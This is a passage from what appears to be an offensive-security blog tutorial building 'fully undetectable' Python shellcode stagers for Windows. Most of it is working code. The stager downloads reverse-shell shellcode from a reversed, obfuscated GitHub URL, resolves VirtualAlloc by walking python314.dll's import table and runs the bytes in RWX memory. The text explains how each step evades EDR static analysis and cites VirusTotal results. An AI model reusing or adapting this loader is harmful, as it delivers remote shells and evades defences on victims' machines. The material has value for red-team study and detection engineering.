</span>    <span class="n">ctypes</span><span class="p">.</span><span class="n">c_size_t</span><span class="p">,</span>                   <span class="c1"># MaximumStackSize
</span>    <span class="n">ctypes</span><span class="p">.</span><span class="n">c_void_p</span><span class="p">,</span>                   <span class="c1"># AttributeList
</span><span class="p">]</span>
    
    <span class="n">addr</span> <span class="o">=</span> <span class="n">wintypes</span><span class="p">.</span><span class="nc">LPVOID</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span>
    <span class="n">size</span> <span class="o">=</span> <span class="n">ctypes</span><span class="p">.</span><span class="nf">c_size_t</span><span class="p">(</span><span class="nf">len</span><span class="p">(</span><span class="n">scode2</span><span class="p">))</span>
    <span class="n">current_process</span> <span class="o">=</span> <span class="n">wintypes</span><span class="p">.</span><span class="nc">HANDLE</span><span class="p">(</span><span class="o">-</span><span class="mi">1</span><span class="p">)</span>
    <span class="n">status</span> <span class="o">=</span> <span class="nc">Allocator</span><span class="p">(</span>
        <span class="n">current_process</span><span class="p">,</span>
        <span class="n">ctypes</span><span class="p">.</span><span class="nf">byref</span><span class="p">(</span><span class="n">addr</span><span class="p">),</span>
        <span class="mi">0</span><span class="p">,</span>
        <span class="n">ctypes</span><span class="p">.</span><span class="nf">byref</span><span class="p">(</span><span class="n">size</span><span class="p">),</span>
        <span class="n">MEM_RESERVE</span> <span class="o">|</span> <span class="n">MEM_COMMIT</span><span class="p">,</span>
        <span class="n">PAGE_EXECUTE_READWRITE</span>
    <span class="p">)</span>
    
    <span class="k">if</span> <span class="n">status</span> <span class="o">==</span> <span class="mi">0</span><span class="p">:</span>  <span class="c1"># NTSTATUS 0 = success
</span>        <span class="n">mem_addr</span> <span class="o">=</span> <span class="n">addr</span><span class="p">.</span><span class="n">value</span>
        <span class="nf">print</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">[+] Allcted mem at: 0x</span><span class="si">{</span><span class="n">mem_addr</span><span class="si">:</span><span class="n">x</span><span class="si">}</span><span class="sh">"</span><span class="p">)</span>
        
        <span class="n">_api0</span> <span class="o">=</span> <span class="sh">"</span><span class="s">evommem</span><span class="sh">"</span>  
        <span class="n">m3mMov3r</span> <span class="o">=</span> <span class="nf">getattr</span><span class="p">(</span><span class="n">ctypes</span><span class="p">,</span> <span class="n">_api0</span><span class="p">[::</span><span class="o">-</span><span class="mi">1</span><span class="p">])</span>
        
        <span class="nf">m3mMov3r</span><span class="p">(</span><span class="n">mem_addr</span><span class="p">,</span> <span class="n">scode2</span><span class="p">,</span> <span class="nf">len</span><span class="p">(</span><span class="n">scode2</span><span class="p">))</span>
        <span class="nf">print</span><span class="p">(</span><span class="sh">"</span><span class="s">[+] Scode copied to memory</span><span class="sh">"</span><span class="p">)</span>
        
        <span class="n">h_thread</span> <span class="o">=</span> <span class="n">wintypes</span><span class="p">.</span><span class="nc">HANDLE</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span>
        <span class="n">status2</span> <span class="o">=</span> <span class="nf">thred_the_needle</span><span class="p">(</span>
        <span class="n">ctypes</span><span class="p">.</span><span class="nf">byref</span><span class="p">(</span><span class="n">h_thread</span><span class="p">),</span>
        <span class="mh">0x1FFFFF</span><span class="p">,</span>                          <span class="c1"># THRED_ALL_ACCESS
</span>        <span class="bp">None</span><span class="p">,</span>
        <span class="n">current_process</span><span class="p">,</span>
        <span class="n">ctypes</span><span class="p">.</span><span class="nf">cast</span><span class="p">(</span><span class="n">mem_addr</span><span class="p">,</span> <span class="n">ctypes</span><span class="p">.</span><span class="n">c_void_p</span><span class="p">),</span>  <span class="c1"># scode start address
</span>        <span class="bp">None</span><span class="p">,</span>
        <span class="mi">0</span><span class="p">,</span>                                 <span class="c1"># no flags, start immediately
</span>        <span class="mi">0</span><span class="p">,</span>
        <span class="mi">0</span><span class="p">,</span>
        <span class="mi">0</span><span class="p">,</span>
        <span class="bp">None</span>
        <span class="p">)</span>
        
        <span class="k">if</span> <span class="n">status2</span> <span class="o">==</span> <span class="mi">0</span><span class="p">:</span>
            <span class="nf">print</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">[+] Thredded Needle!</span><span class="sh">"</span><span class="p">)</span>
            
            <span class="nf">waitinaround</span><span class="p">(</span><span class="n">h_thread</span><span class="p">.</span><span class="n">value</span><span class="p">,</span> <span class="mi">10000</span><span class="p">)</span>
            <span class="nf">closingtime</span><span class="p">(</span><span class="n">h_thread</span><span class="p">.</span><span class="n">value</span><span class="p">)</span>
        <span class="k">else</span><span class="p">:</span>
            <span class="nf">print</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">[-] thred_the_needle failed: </span><span class="si">{</span><span class="nf">hex</span><span class="p">(</span><span class="n">status2</span> <span class="o">&amp;</span> <span class="mh">0xFFFFFFFF</span><span class="p">)</span><span class="si">}</span><span class="sh">"</span><span class="p">)</span>
            
    <span class="k">else</span><span class="p">:</span>
        <span class="nf">print</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">[-] Allocator failed (NTSTATUS: 0x</span><span class="si">{</span><span class="n">status</span><span class="si">:</span><span class="mi">08</span><span class="n">X</span><span class="si">}</span><span class="s">)</span><span class="sh">"</span><span class="p">)</span>

<span class="k">if</span> <span class="n">__name__</span> <span class="o">==</span> <span class="sh">"</span><span class="s">__main__</span><span class="sh">"</span><span class="p">:</span>
    <span class="nf">print</span><span class="p">(</span><span class="sh">"</span><span class="s">[*] Dwnlding scode from URL...</span><span class="sh">"</span><span class="p">)</span>
    <span class="n">scode</span> <span class="o">=</span> <span class="nf">dwnlod_scode</span><span class="p">(</span><span class="n">SCODE_U</span><span class="p">)</span>
    <span class="k">if</span> <span class="n">scode</span><span class="p">:</span>
        <span class="nf">print</span><span class="p">(</span><span class="sh">"</span><span class="s">[*] Eggsecuting Scode in mem...</span><span class="sh">"</span><span class="p">)</span>
        <span class="nf">eggsecute_scode</span><span class="p">(</span><span class="n">scode</span><span class="p">)</span>
    <span class="k">else</span><span class="p">:</span>
        <span class="nf">print</span><span class="p">(</span><span class="sh">"</span><span class="s">[-] Aborting.</span><span class="sh">"</span><span class="p">)</span>
</code></pre></div></div>

<h2 id="fud-stager-variant-2">FUD Stager Variant #2</h2>

<p><strong>High Level Overview</strong></p>

<p>Let’s take another creative approach to building our FUD stager. Rather than calling VirtualAlloc directly, we’ll leverage the already-loaded python314.dll — parsing its in-memory PE structure to walk the IAT and extract the live runtime address of VirtualAlloc as imported from kernel32.dll. No direct API call. No obvious import. Just borrowing what Python already loaded for us.  It’s also worth mentioning this is assuming you use a portable version of python to load your script.  It would work with <code class="language-plaintext highlighter-rouge">py2exe</code> as well, but we’re trying to avoid use of executable files in this case.  The python executable itself is an exception 😸</p>

<p><strong>In short</strong>: The resolved IAT address becomes a typed function pointer, giving us direct access to <code class="language-plaintext highlighter-rouge">VirtualAlloc</code> without ever naming it explicitly or having to look its memory address up manually via traditional methods (<code class="language-plaintext highlighter-rouge">GetProcAddress</code>, etc).  This once again helps aid us greatly in deterring static analysis efforts from EDR.</p>

<h2 id="part-1---the-familiar-downloader">Part 1 - The Familiar Downloader</h2>

<p>Our code this time starts out in a familiar fashion as our last FUD code.  We download our reverse shell shellcode bytes into memory.  We will also be reversing our URL string again and changing variables from their familiar descriptors (shellcode, etc) to a less revealing name, like <code class="language-plaintext highlighter-rouge">SCODE_U</code> (shellcode url 😄).</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">import</span> <span class="n">ctypes</span><span class="p">,</span> <span class="n">sys</span><span class="p">,</span> <span class="n">os</span>
<span class="kn">import</span> <span class="n">requests</span>

<span class="k">try</span><span class="p">:</span>
    <span class="kn">import</span> <span class="n">pefile</span>
<span class="k">except</span> <span class="nb">ImportError</span><span class="p">:</span>
    <span class="nf">print</span><span class="p">(</span><span class="sh">"</span><span class="s">pip install pefile</span><span class="sh">"</span><span class="p">);</span> <span class="n">sys</span><span class="p">.</span><span class="nf">exit</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span>

<span class="n">SCODE_U</span> <span class="o">=</span> <span class="sh">"</span><span class="s">onyd.ger/niam/sdaeh/sfer/radarehtrednu/m3tsyst3g/moc.tnetnocresubuhtig.war//:sptth</span><span class="sh">"</span>
<span class="n">SCODE_U</span> <span class="o">=</span> <span class="n">SCODE_U</span><span class="p">[::</span><span class="o">-</span><span class="mi">1</span><span class="p">]</span>

<span class="k">def</span> <span class="nf">dwnlod_scode</span><span class="p">(</span><span class="n">url</span><span class="p">):</span>
    <span class="k">try</span><span class="p">:</span>
        <span class="n">response</span> <span class="o">=</span> <span class="n">requests</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="n">url</span><span class="p">,</span> <span class="n">stream</span><span class="o">=</span><span class="bp">True</span><span class="p">)</span>
        <span class="n">response</span><span class="p">.</span><span class="nf">raise_for_status</span><span class="p">()</span>
        <span class="n">shel_ly</span> <span class="o">=</span> <span class="sa">b</span><span class="sh">''</span><span class="p">.</span><span class="nf">join</span><span class="p">(</span><span class="n">response</span><span class="p">.</span><span class="nf">iter_content</span><span class="p">(</span><span class="n">chunk_size</span><span class="o">=</span><span class="mi">4096</span><span class="p">))</span>
        <span class="nf">print</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">[+] Downloaded </span><span class="si">{</span><span class="nf">len</span><span class="p">(</span><span class="n">shel_ly</span><span class="p">)</span><span class="si">}</span><span class="s"> bytes</span><span class="sh">"</span><span class="p">)</span>
        <span class="k">return</span> <span class="n">shel_ly</span>
    <span class="k">except</span> <span class="nb">Exception</span> <span class="k">as</span> <span class="n">e</span><span class="p">:</span>
        <span class="nf">print</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">[-] Download failed: </span><span class="si">{</span><span class="n">e</span><span class="si">}</span><span class="sh">"</span><span class="p">);</span> <span class="k">return</span> <span class="bp">None</span>
</code></pre></div></div>

<h2 id="part-2---setup-our-functions-for-copying-and-executing-the-downloaded-shellcode">Part 2 - Setup our functions for Copying and Executing the Downloaded Shellcode</h2>

<p>We also need to go over the copying of our shellcode bytes into our soon to be allocated memory address and the executing of the shellcode.  Let’s do that now.</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">def</span> <span class="nf">copy_to_page</span><span class="p">(</span><span class="n">page</span><span class="p">:</span> <span class="nb">int</span><span class="p">,</span> <span class="n">scode</span><span class="p">:</span> <span class="nb">bytes</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="nb">bool</span><span class="p">:</span>
    <span class="sh">"""</span><span class="s">Copy scode bytes into the RWX page via ctypes.memmove.</span><span class="sh">"""</span>
    <span class="k">if</span> <span class="ow">not</span> <span class="n">page</span><span class="p">:</span>
        <span class="nf">print</span><span class="p">(</span><span class="sh">"</span><span class="s">[-] Invalid page address</span><span class="sh">"</span><span class="p">);</span> <span class="k">return</span> <span class="bp">False</span>
    <span class="k">if</span> <span class="nf">len</span><span class="p">(</span><span class="n">scode</span><span class="p">)</span> <span class="o">&gt;</span> <span class="mh">0x1000</span><span class="p">:</span>
        <span class="nf">print</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">[-] Scode too large (</span><span class="si">{</span><span class="nf">len</span><span class="p">(</span><span class="n">scode</span><span class="p">)</span><span class="si">}</span><span class="s"> &gt; 0x1000)</span><span class="sh">"</span><span class="p">);</span> <span class="k">return</span> <span class="bp">False</span>

    <span class="c1"># memmove(dst, src, count)
</span>    <span class="c1"># dst = raw integer address of our RWX page
</span>    <span class="c1"># src = scode bytes (ctypes accepts bytes directly as src)
</span>    <span class="n">ctypes</span><span class="p">.</span><span class="nf">memmove</span><span class="p">(</span><span class="n">page</span><span class="p">,</span> <span class="n">scode</span><span class="p">,</span> <span class="nf">len</span><span class="p">(</span><span class="n">scode</span><span class="p">))</span>
    <span class="nf">print</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">[+] Copied </span><span class="si">{</span><span class="nf">len</span><span class="p">(</span><span class="n">scode</span><span class="p">)</span><span class="si">}</span><span class="s"> bytes → 0x</span><span class="si">{</span><span class="n">page</span><span class="si">:</span><span class="mi">016</span><span class="n">x</span><span class="si">}</span><span class="sh">"</span><span class="p">)</span>
    <span class="k">return</span> <span class="bp">True</span>

<span class="k">def</span> <span class="nf">exec_page</span><span class="p">(</span><span class="n">page</span><span class="p">:</span> <span class="nb">int</span><span class="p">):</span>
    <span class="sh">"""</span><span class="s">Cast the page to a void(*)(void) and call it.</span><span class="sh">"""</span>
    <span class="n">thunk</span> <span class="o">=</span> <span class="n">ctypes</span><span class="p">.</span><span class="nc">WINFUNCTYPE</span><span class="p">(</span><span class="bp">None</span><span class="p">)(</span><span class="n">page</span><span class="p">)</span>
    <span class="nf">print</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">[+] Executing scode @ 0x</span><span class="si">{</span><span class="n">page</span><span class="si">:</span><span class="mi">016</span><span class="n">x</span><span class="si">}</span><span class="sh">"</span><span class="p">)</span>
    <span class="nf">thunk</span><span class="p">()</span>
</code></pre></div></div>

<h2 id="part-3--walking-the-iat-and-locating-the-already-loaded-virtualalloc-memory-address">Part 3- Walking the IAT and locating the already loaded <code class="language-plaintext highlighter-rouge">VirtualAlloc</code> memory address!</h2>

<blockquote>
  <p>Phase 1 — We will build out the DLL name and path dynamically</p>
</blockquote>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">ver</span>      <span class="o">=</span> <span class="n">sys</span><span class="p">.</span><span class="n">version_info</span>
<span class="n">dll_name</span> <span class="o">=</span> <span class="sa">f</span><span class="sh">"</span><span class="s">python</span><span class="si">{</span><span class="n">ver</span><span class="p">.</span><span class="n">major</span><span class="si">}{</span><span class="n">ver</span><span class="p">.</span><span class="n">minor</span><span class="si">}</span><span class="s">.dll</span><span class="sh">"</span>
<span class="n">dll_path</span> <span class="o">=</span> <span class="n">os</span><span class="p">.</span><span class="n">path</span><span class="p">.</span><span class="nf">join</span><span class="p">(</span><span class="n">os</span><span class="p">.</span><span class="n">path</span><span class="p">.</span><span class="nf">dirname</span><span class="p">(</span><span class="n">sys</span><span class="p">.</span><span class="n">executable</span><span class="p">),</span> <span class="n">dll_name</span><span class="p">)</span>
</code></pre></div></div>

<p>The first part of our code constructs <code class="language-plaintext highlighter-rouge">python314.dll</code> (or whatever version you are running) without hardcoding it. <code class="language-plaintext highlighter-rouge">dll_path</code> points to the on-disk copy needed for PE parsing. This is also nice because it is version-agnostic and works across all Python releases without modification.</p>

<blockquote>
  <p>Phase 2 — We get the live in-memory base address of our <code class="language-plaintext highlighter-rouge">python314.dll</code></p>
</blockquote>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">k32</span> <span class="o">=</span> <span class="n">ctypes</span><span class="p">.</span><span class="n">windll</span><span class="p">.</span><span class="n">kernel32</span>
<span class="n">k32</span><span class="p">.</span><span class="n">GetModuleHandleW</span><span class="p">.</span><span class="n">restype</span>  <span class="o">=</span> <span class="n">ctypes</span><span class="p">.</span><span class="n">c_void_p</span>
<span class="n">k32</span><span class="p">.</span><span class="n">GetModuleHandleW</span><span class="p">.</span><span class="n">argtypes</span> <span class="o">=</span> <span class="p">[</span><span class="n">ctypes</span><span class="p">.</span><span class="n">c_wchar_p</span><span class="p">]</span>
<span class="n">base</span> <span class="o">=</span> <span class="n">k32</span><span class="p">.</span><span class="nc">GetModuleHandleW</span><span class="p">(</span><span class="n">dll_name</span><span class="p">)</span>
</code></pre></div></div>

<p>We explicitly set the return type to <code class="language-plaintext highlighter-rouge">c_void_p</code> so ctypes doesn’t truncate the 64-bit address. <code class="language-plaintext highlighter-rouge">GetModuleHandleW</code> returns the base address of our already-loaded module.  In other words: no disk load, no new mapping. Since Python is running, python314.dll is guaranteed to be resident in memory.</p>

<blockquote>
  <p>Phase 3 — We need to parse the on-disk PE structure</p>
</blockquote>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">pe</span> <span class="o">=</span> <span class="n">pefile</span><span class="p">.</span><span class="nc">PE</span><span class="p">(</span><span class="n">dll_path</span><span class="p">,</span> <span class="n">fast_load</span><span class="o">=</span><span class="bp">False</span><span class="p">)</span>
<span class="n">pe</span><span class="p">.</span><span class="nf">parse_data_directories</span><span class="p">()</span>
</code></pre></div></div>

<p>We will read the on-disk copy of <code class="language-plaintext highlighter-rouge">python314.dll</code> purely for its layout.  This includes section headers, import directory offsets, and ImageBase.</p>

<p>fast_load=False + parse_data_directories() ensures the full import table is available.</p>

<blockquote>
  <p>Phase 4 — Walk the IAT and resolve the live pointer</p>
</blockquote>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">memprep</span> <span class="o">=</span> <span class="sa">b</span><span class="sh">"</span><span class="s">collAlautriV</span><span class="sh">"</span>   <span class="c1"># "VirtualAlloc" reversed
</span><span class="k">for</span> <span class="n">entry</span> <span class="ow">in</span> <span class="n">pe</span><span class="p">.</span><span class="n">DIRECTORY_ENTRY_IMPORT</span><span class="p">:</span>
    <span class="k">if</span> <span class="sa">b</span><span class="sh">'</span><span class="s">kernel32</span><span class="sh">'</span> <span class="ow">in</span> <span class="n">entry</span><span class="p">.</span><span class="n">dll</span><span class="p">.</span><span class="nf">lower</span><span class="p">():</span>
        <span class="k">for</span> <span class="n">imp</span> <span class="ow">in</span> <span class="n">entry</span><span class="p">.</span><span class="n">imports</span><span class="p">:</span>
            <span class="k">if</span> <span class="n">imp</span><span class="p">.</span><span class="n">name</span> <span class="o">==</span> <span class="n">memprep</span><span class="p">[::</span><span class="o">-</span><span class="mi">1</span><span class="p">]:</span>
                <span class="n">slot</span>  <span class="o">=</span> <span class="n">base</span> <span class="o">+</span> <span class="n">imp</span><span class="p">.</span><span class="n">address</span> <span class="o">-</span> <span class="n">pe</span><span class="p">.</span><span class="n">OPTIONAL_HEADER</span><span class="p">.</span><span class="n">ImageBase</span>
                <span class="n">va_va</span> <span class="o">=</span> <span class="n">ctypes</span><span class="p">.</span><span class="n">c_uint64</span><span class="p">.</span><span class="nf">from_address</span><span class="p">(</span><span class="n">slot</span><span class="p">).</span><span class="n">value</span>
</code></pre></div></div>

<h2 id="part-4---cast-and-execute">Part 4 - Cast and Execute!</h2>

<p>Lastly, this code snippet filters to kernel32.dll imports only.  We then match against b”VirtualAlloc”, without that string ever appearing in plaintext.</p>

<p><code class="language-plaintext highlighter-rouge">imp.address</code> is the on-disk VA of the IAT slot.  Subtracting <code class="language-plaintext highlighter-rouge">pe.OPTIONAL_HEADER.ImageBase</code> converts it to an RVA.  Adding base converts the RVA to the actual runtime address of the slot.</p>

<p>and Finally!  <code class="language-plaintext highlighter-rouge">c_uint64.from_address(slot).value</code> dereferences that previously mentioned slot.  We then read the 8-byte pointer the loader wrote there at startup, giving us the true runtime address of VirtualAlloc 😸  Phew!  Well, there you have it.</p>

<p>The resulting <code class="language-plaintext highlighter-rouge">va_va</code> is the live, post-ASLR, post-loader-resolution address of <code class="language-plaintext highlighter-rouge">VirtualAlloc</code>, ready to be cast to a callable.  Let’s do that now!</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">MemoryAllocator</span> <span class="o">=</span> <span class="n">ctypes</span><span class="p">.</span><span class="nc">WINFUNCTYPE</span><span class="p">(</span>
    <span class="n">ctypes</span><span class="p">.</span><span class="n">c_void_p</span><span class="p">,</span>
    <span class="n">ctypes</span><span class="p">.</span><span class="n">c_void_p</span><span class="p">,</span> <span class="n">ctypes</span><span class="p">.</span><span class="n">c_size_t</span><span class="p">,</span>
    <span class="n">ctypes</span><span class="p">.</span><span class="n">c_uint32</span><span class="p">,</span> <span class="n">ctypes</span><span class="p">.</span><span class="n">c_uint32</span>
<span class="p">)(</span><span class="n">va_va</span><span class="p">)</span> <span class="c1"># &lt;--here's where we cast it
</span>
<span class="n">page</span> <span class="o">=</span> <span class="nc">MemoryAllocator</span><span class="p">(</span><span class="bp">None</span><span class="p">,</span> <span class="mh">0x1000</span><span class="p">,</span> <span class="mh">0x3000</span><span class="p">,</span> <span class="mh">0x40</span><span class="p">)</span>
<span class="nf">print</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">[+] RWX page @ 0x</span><span class="si">{</span><span class="n">page</span><span class="si">:</span><span class="mi">016</span><span class="n">x</span><span class="si">}</span><span class="sh">"</span> <span class="k">if</span> <span class="n">page</span> <span class="k">else</span> <span class="sa">f</span><span class="sh">"</span><span class="s">[-] failed (GLE=</span><span class="si">{</span><span class="n">k32</span><span class="p">.</span><span class="nc">GetLastError</span><span class="p">()</span><span class="si">}</span><span class="s">)</span><span class="sh">"</span><span class="p">)</span>

<span class="k">if</span> <span class="n">page</span><span class="p">:</span>
    <span class="nf">print</span><span class="p">(</span><span class="sh">"</span><span class="s">[+] allocated!</span><span class="sh">"</span><span class="p">)</span>
</code></pre></div></div>

<p>Finally, call the copy and execute functions:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1"># ── execution ─────────────────────────────────────────────────────────────────────
</span><span class="n">scode</span> <span class="o">=</span> <span class="nf">dwnlod_scode</span><span class="p">(</span><span class="n">SCODE_U</span><span class="p">)</span>
<span class="k">if</span> <span class="n">scode</span><span class="p">:</span>
    <span class="c1"># page = your VAlloc result from earlier
</span>    <span class="k">if</span> <span class="nf">copy_to_page</span><span class="p">(</span><span class="n">page</span><span class="p">,</span> <span class="n">scode</span><span class="p">):</span>
        <span class="nf">exec_page</span><span class="p">(</span><span class="n">page</span><span class="p">)</span>
        
    <span class="c1"># ── cleanup (only reached if shellcode returns) ───────────────────────────────
</span>    <span class="n">k32</span><span class="p">.</span><span class="nc">VirtualFree</span><span class="p">(</span><span class="n">ctypes</span><span class="p">.</span><span class="nf">c_void_p</span><span class="p">(</span><span class="n">page</span><span class="p">),</span> <span class="mi">0</span><span class="p">,</span> <span class="mh">0x8000</span><span class="p">)</span>
    <span class="nf">print</span><span class="p">(</span><span class="sh">"</span><span class="s">[*] freed</span><span class="sh">"</span><span class="p">)</span>
</code></pre></div></div>

<p><strong>Here’s a sneak preview of the finished product:</strong></p>

<p><img width="732" height="232" alt="image" src="https://github.com/user-attachments/assets/0cfcda18-86f3-47a5-91b7-65f911c16b34" /></p>

<p><img width="673" height="228" alt="image" src="https://github.com/user-attachments/assets/0535905c-9521-4137-8cb8-918135adb93f" /></p>

<p><strong>VirusTotal Results 💊</strong></p>

<p><strong>Hash: 6c2a91f23724a8605312bff1d629f92a7a88e78d947e79da5e403338f4eefeb6</strong></p>

<p><a href="https://www.virustotal.com/gui/file/6c2a91f23724a8605312bff1d629f92a7a88e78d947e79da5e403338f4eefeb6">https://www.virustotal.com/gui/file/6c2a91f23724a8605312bff1d629f92a7a88e78d947e79da5e403338f4eefeb6</a></p>

<p><img width="1717" height="765" alt="image" src="https://github.com/user-attachments/assets/8cd1a555-aa50-4539-bcde-ca5bc1ee5506" /></p>

<blockquote>
  <p><strong>And the full source code for FUD variant #2:</strong></p>
</blockquote>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">#6c2a91f23724a8605312bff1d629f92a7a88e78d947e79da5e403338f4eefeb6
</span>
<span class="kn">import</span> <span class="n">ctypes</span><span class="p">,</span> <span class="n">sys</span><span class="p">,</span> <span class="n">os</span>
<span class="kn">import</span> <span class="n">requests</span>

<span class="k">try</span><span class="p">:</span>
    <span class="kn">import</span> <span class="n">pefile</span>
<span class="k">except</span> <span class="nb">ImportError</span><span class="p">:</span>
    <span class="nf">print</span><span class="p">(</span><span class="sh">"</span><span class="s">pip install pefile</span><span class="sh">"</span><span class="p">);</span> <span class="n">sys</span><span class="p">.</span><span class="nf">exit</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span>

<span class="n">SCODE_U</span> <span class="o">=</span> <span class="sh">"</span><span class="s">onyd.ger/niam/sdaeh/sfer/radarehtrednu/m3tsyst3g/moc.tnetnocresubuhtig.war//:sptth</span><span class="sh">"</span>
<span class="n">SCODE_U</span> <span class="o">=</span> <span class="n">SCODE_U</span><span class="p">[::</span><span class="o">-</span><span class="mi">1</span><span class="p">]</span>

<span class="k">def</span> <span class="nf">dwnlod_scode</span><span class="p">(</span><span class="n">url</span><span class="p">):</span>
    <span class="k">try</span><span class="p">:</span>
        <span class="n">response</span> <span class="o">=</span> <span class="n">requests</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="n">url</span><span class="p">,</span> <span class="n">stream</span><span class="o">=</span><span class="bp">True</span><span class="p">)</span>
        <span class="n">response</span><span class="p">.</span><span class="nf">raise_for_status</span><span class="p">()</span>
        <span class="n">shel_ly</span> <span class="o">=</span> <span class="sa">b</span><span class="sh">''</span><span class="p">.</span><span class="nf">join</span><span class="p">(</span><span class="n">response</span><span class="p">.</span><span class="nf">iter_content</span><span class="p">(</span><span class="n">chunk_size</span><span class="o">=</span><span class="mi">4096</span><span class="p">))</span>
        <span class="nf">print</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">[+] Downloaded </span><span class="si">{</span><span class="nf">len</span><span class="p">(</span><span class="n">shel_ly</span><span class="p">)</span><span class="si">}</span><span class="s"> bytes</span><span class="sh">"</span><span class="p">)</span>
        <span class="k">return</span> <span class="n">shel_ly</span>
    <span class="k">except</span> <span class="nb">Exception</span> <span class="k">as</span> <span class="n">e</span><span class="p">:</span>
        <span class="nf">print</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">[-] Download failed: </span><span class="si">{</span><span class="n">e</span><span class="si">}</span><span class="sh">"</span><span class="p">);</span> <span class="k">return</span> <span class="bp">None</span>

<span class="k">def</span> <span class="nf">copy_to_page</span><span class="p">(</span><span class="n">page</span><span class="p">:</span> <span class="nb">int</span><span class="p">,</span> <span class="n">scode</span><span class="p">:</span> <span class="nb">bytes</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="nb">bool</span><span class="p">:</span>
    <span class="sh">"""</span><span class="s">Copy scode bytes into the RWX page via ctypes.memmove.</span><span class="sh">"""</span>
    <span class="k">if</span> <span class="ow">not</span> <span class="n">page</span><span class="p">:</span>
        <span class="nf">print</span><span class="p">(</span><span class="sh">"</span><span class="s">[-] Invalid page address</span><span class="sh">"</span><span class="p">);</span> <span class="k">return</span> <span class="bp">False</span>
    <span class="k">if</span> <span class="nf">len</span><span class="p">(</span><span class="n">scode</span><span class="p">)</span> <span class="o">&gt;</span> <span class="mh">0x1000</span><span class="p">:</span>
        <span class="nf">print</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">[-] Scode too large (</span><span class="si">{</span><span class="nf">len</span><span class="p">(</span><span class="n">scode</span><span class="p">)</span><span class="si">}</span><span class="s"> &gt; 0x1000)</span><span class="sh">"</span><span class="p">);</span> <span class="k">return</span> <span class="bp">False</span>

    <span class="c1"># memmove(dst, src, count)
</span>    <span class="c1"># dst = raw integer address of our RWX page
</span>    <span class="c1"># src = scode bytes (ctypes accepts bytes directly as src)
</span>    <span class="n">ctypes</span><span class="p">.</span><span class="nf">memmove</span><span class="p">(</span><span class="n">page</span><span class="p">,</span> <span class="n">scode</span><span class="p">,</span> <span class="nf">len</span><span class="p">(</span><span class="n">scode</span><span class="p">))</span>
    <span class="nf">print</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">[+] Copied </span><span class="si">{</span><span class="nf">len</span><span class="p">(</span><span class="n">scode</span><span class="p">)</span><span class="si">}</span><span class="s"> bytes → 0x</span><span class="si">{</span><span class="n">page</span><span class="si">:</span><span class="mi">016</span><span class="n">x</span><span class="si">}</span><span class="sh">"</span><span class="p">)</span>
    <span class="k">return</span> <span class="bp">True</span>

<span class="k">def</span> <span class="nf">exec_page</span><span class="p">(</span><span class="n">page</span><span class="p">:</span> <span class="nb">int</span><span class="p">):</span>
    <span class="sh">"""</span><span class="s">Cast the page to a void(*)(void) and call it.</span><span class="sh">"""</span>
    <span class="n">thunk</span> <span class="o">=</span> <span class="n">ctypes</span><span class="p">.</span><span class="nc">WINFUNCTYPE</span><span class="p">(</span><span class="bp">None</span><span class="p">)(</span><span class="n">page</span><span class="p">)</span>
    <span class="nf">print</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">[+] Executing scode @ 0x</span><span class="si">{</span><span class="n">page</span><span class="si">:</span><span class="mi">016</span><span class="n">x</span><span class="si">}</span><span class="sh">"</span><span class="p">)</span>
    <span class="nf">thunk</span><span class="p">()</span>

<span class="n">ver</span>      <span class="o">=</span> <span class="n">sys</span><span class="p">.</span><span class="n">version_info</span>
<span class="n">dll_name</span> <span class="o">=</span> <span class="sa">f</span><span class="sh">"</span><span class="s">python</span><span class="si">{</span><span class="n">ver</span><span class="p">.</span><span class="n">major</span><span class="si">}{</span><span class="n">ver</span><span class="p">.</span><span class="n">minor</span><span class="si">}</span><span class="s">.dll</span><span class="sh">"</span>
<span class="n">dll_path</span> <span class="o">=</span> <span class="n">os</span><span class="p">.</span><span class="n">path</span><span class="p">.</span><span class="nf">join</span><span class="p">(</span><span class="n">os</span><span class="p">.</span><span class="n">path</span><span class="p">.</span><span class="nf">dirname</span><span class="p">(</span><span class="n">sys</span><span class="p">.</span><span class="n">executable</span><span class="p">),</span> <span class="n">dll_name</span><span class="p">)</span>

<span class="n">k32</span> <span class="o">=</span> <span class="n">ctypes</span><span class="p">.</span><span class="n">windll</span><span class="p">.</span><span class="n">kernel32</span>
<span class="n">k32</span><span class="p">.</span><span class="n">GetModuleHandleW</span><span class="p">.</span><span class="n">restype</span>  <span class="o">=</span> <span class="n">ctypes</span><span class="p">.</span><span class="n">c_void_p</span>     
